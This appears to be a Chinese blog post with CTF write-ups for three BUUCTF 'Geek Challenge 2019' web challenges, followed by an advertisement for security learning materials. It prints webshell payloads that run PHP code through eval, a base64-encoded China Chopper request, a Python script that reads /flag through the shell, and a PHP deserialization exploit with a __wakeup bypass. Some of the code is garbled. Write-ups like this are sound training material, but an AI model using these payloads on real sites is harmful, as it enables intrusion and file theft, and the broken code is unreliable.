[极客大挑战 2019]web部分题解(已完结!),网络安全开发面试基础

那直接打指令找一下吧:

cat /flag

出了,写到这里我总感觉那里不对,不应该这么简单,就琢磨了下,但是没想到好办法,这时候看到了两篇博客,是两位佬的其他思路:士别三日wyxSenimo_的这里我会讲解我理解下的内容,如果有兴趣的师傅建议去原文看一下,其中我真的很喜欢士别三日博客的一句话,真的建议每一位Ctfer记住!

进阶方法一(@士别三日wyx):

首先回到这个初始界面

我们看到一句话木马,一句话木马本身是利用代码执行的函数进行运行,说的简单点就是你的post请求传入eval()中,那也就是说,我们可以修改Post请求的参数来执行代码!

打开hackbar执行:

Syc=phpinfo();

可以直接进入展示PHP信息界面:

这里很多人有疑问了,为什么要进入这里呢,因为在这个phpinfo界面下是无任何过滤的,这也是为什么,大多数网站的题目都要禁止或者加密不让访问这个界面,接下来进入下一步:

我们使用var_dump()+scandir()查看一下根目录:

Syc=var_dump(scandir(‘/’));

执行完以后看似没啥变化,这只是因为背景颜色遮挡了修改,ctrl+u进入源码界面:

可以看到flag文件夹了,ctf有一个不成文的规矩就是要么不出flag字符,要么出现flag就在这里边!

那就访问下就好,使用vay_dump+file_get_contents()查看文件就还好了:

Syc=var_dump(file_get_contents(‘/flag’));

这个时候在打开ctrl+u就得到了flag:

说实话,这个方法并不是什么很新奇或者很出乎意料的东西,但是贵就贵在守住了最原始的破解方式,让现在很多ctfer从只依赖脚本不去看基础知识的思维里跳出来,很难能可贵,借用大佬的话就是:

喜欢一个东西首先要先学会「尊重」,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着「举世皆浊我独清,众人皆醉我独醒」的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全。

进阶方法二(@Senimo_):

方法三、进阶方法二是使用脚本(当然是自己手搓的):一句话木马的原理刚才说过了,这里不再提,尝试用python连接一下可以这么理解:

连接一句木马并使用**SHELL**,需要将一句话木马作为**POST**传值的参数,将**PHP**语句作为值传入,并通过**PHP**语句执行**SHELL**命令。

我们剖析一下菜刀的原理,先看下菜刀发送的数据包:

op=@eval(base64_decode($_POST[attack]));&attack=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

op=@eval(base64_decode($_POST[attack]));为正常的一句话木马,其通过POST方式传参,参数名为attack
base64_decode()函数解码了传入的值
因为对传入的值进行BASE64编码可以有效的防止特殊字符传输失败的异常。
把值进行BASE64解码,得到:

@ini_set(“display_errors”,“0”); @set_time_limit(0); @set_magic_quotes_runtime(0); echo(“->|”);; print(“hello PHP!”);; echo(“|<-”); die();

首先进行测试:

可以得到预设的回显,这样的话就直接搬运脚本:

-- coding:utf-8 --

name: Meng

mail: 614886708@qq.com

ctf_exp06:BUUCTF [极客大挑战 2019] Knife

import requests
import re

class Knife:
def init(self, url_input):
self.payload_data = {“Syc”: “exec(‘cat /flag’, o u t ) ; p r i n t r ( out);print_r( out);printr(out);die();”}
self.status_code = 1 # 链接状态:0:无效,1:连通
self.url = url_input.strip()
self.flag = ‘’

def url_test(self):

可以重复输错10次链接

for i in range(9):
try:

对输入的url做判断

if self.url.endswith(‘/index.php’) or self.url.endswith(‘buuoj.cn/’) or self.url.endswith(‘buuoj.cn’):

尝试访问链接是否为200

requests.get(self.url)
print('测试状态: 200 ’ + self.url)
except:
print(‘无效链接!请重新输入!’)
self.url = input(‘请输入题目链接:’)
self.status_code = 0

else:
self.status_code = 1
break

if self.status_code == 0:
print(‘无效链接!退出程序!’)
return

def num_test(self):

设置获取flag只能重复30次

for i in range(30):
try:
r = requests.post(self.url, data=self.payload_data)

匹配buuctf平台flag格式

self.flag = re.search(r’flag{.+}', r.text).group()

except:
print(‘第 ’ + str(i+1) + ’ 次未获取到flag! 正在重试!’)
else:
break

def run(self):
self.url_test() # 连接测试
self.num_test() # flag获取

if self.flag == ‘’:
print(‘已尝试30次!未获取到flag! 退出程序!’)

return self.flag

if name == ‘main’:
print(‘ctf_exp0: BUUCTF [极客大挑战 2019] Knife’)
url_input = input(‘请输入题目链接:’)
print(Knife(url_input).run())
input() # 防止退出cmd

运行同样得到flag:

flag{732832c3-cca5-4852-803d-3cf15e43f364}

作者随笔:

这道简单的题目之所以要花这么长篇幅去写,更多是因为做题的时候看到

了那段大佬写的话,认为在学ctf的时候更多要知道自己是为什么才进入了

这个领域,赚一些什么固然很重要但是初心不忘更加难能可贵,想起来以

前看奥特曼的一句话:热忱之心不可变,不能走着走着忘了为什么才开

始。。。。

[极客大挑战 2019]PHP

打开环境以后发现又可以逗猫,就偷偷玩了一小会儿。。。。好了!进入正题!

题目中明显说有备份文件,那就盲猜www.zip:

ok,有东西,如果实在猜不到就dirseach扫描一下好了,打开源码包:

class.php

<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } } } ?>

flag.php

<?php $flag = 'Syc{dog_dog_dog_dog}'; ?>

index.js

<?php $flag = 'Syc{dog_dog_dog_dog}'; ?>

index.php

I have a cat!
因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
不愧是我!!!
<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>

Syclover @ cl4y

style.css

@import url(https://fonts.googleapis.com/css?family=Open+Sans:800);

#world{
position: absolute;
width:100%;
height: 100%;
background-color: #6ecccc;
overflow:hidden;
}

#credits{
position:absolute;
width:100%;
margin: auto;
bottom:0;
margin-bottom:20px;
font-family:‘Open Sans’, sans-serif;
color:#328685;
font-size:0.7em;
text-transform: uppercase;
text-align : center;
}
#credits a {
color:#328685;
}

#credits a:hover {
color:#630d15;
}

审计完构造出链子:

EXP:

<?php class Name{ private $username = 'admine'; private $password = '100'; } $select = new Name(); $res=serialize(@$select); echo $res ?>

执行出来后得到:

O:4:“Name”:2:{s:14:“%00Name%00username”;s:5:“admin”;s:14:“%00Name%00password”;s:3:“100”;}

当然当然,众所周知,有个__wakeup永远没法安生,把2改成3。

O:4:“Name”:3:{s:14:“%00Name%00username”;s:5:“admin”;s:14:“%00Name%00password”;s:3:“100”;}

hackbar输入以后得到flag:

flag{75405f3e-bc9f-4d56-ac1a-a5157f22d9c4}

[极客大挑战 2019]Secret File

打开环境以后看到了不得了的东西呢=.=

打开F12看一下源码发现/Archive_room.php

直接访问!

接下来点开以后直接进入了/end.php

这就让我很奇怪了,为什么什么都没,又翻了下源码发现有个/action.php

跳转一下试一试

怎么又跳回去了?我确实没看清。。。。。

这样的话我明白逻辑了:/Archive_room.php/action.php/end.php只不过中间的过程跳转时间很快,那这样的话就做一下bp好了,打开bp:

这个界面跳转一下,然后抓到了这样的包:

发出去以后发现了这个界面,有/secr3t.php

访问进去:

GET /secr3t.php HTTP/1.1

看到了有php代码,源码放下边:

<?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag放在了flag.php里 ?>

其实就是构造一个伪协议:

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

893764.png)

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-OVtG6hcI-1712566516811)]

  • 12
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值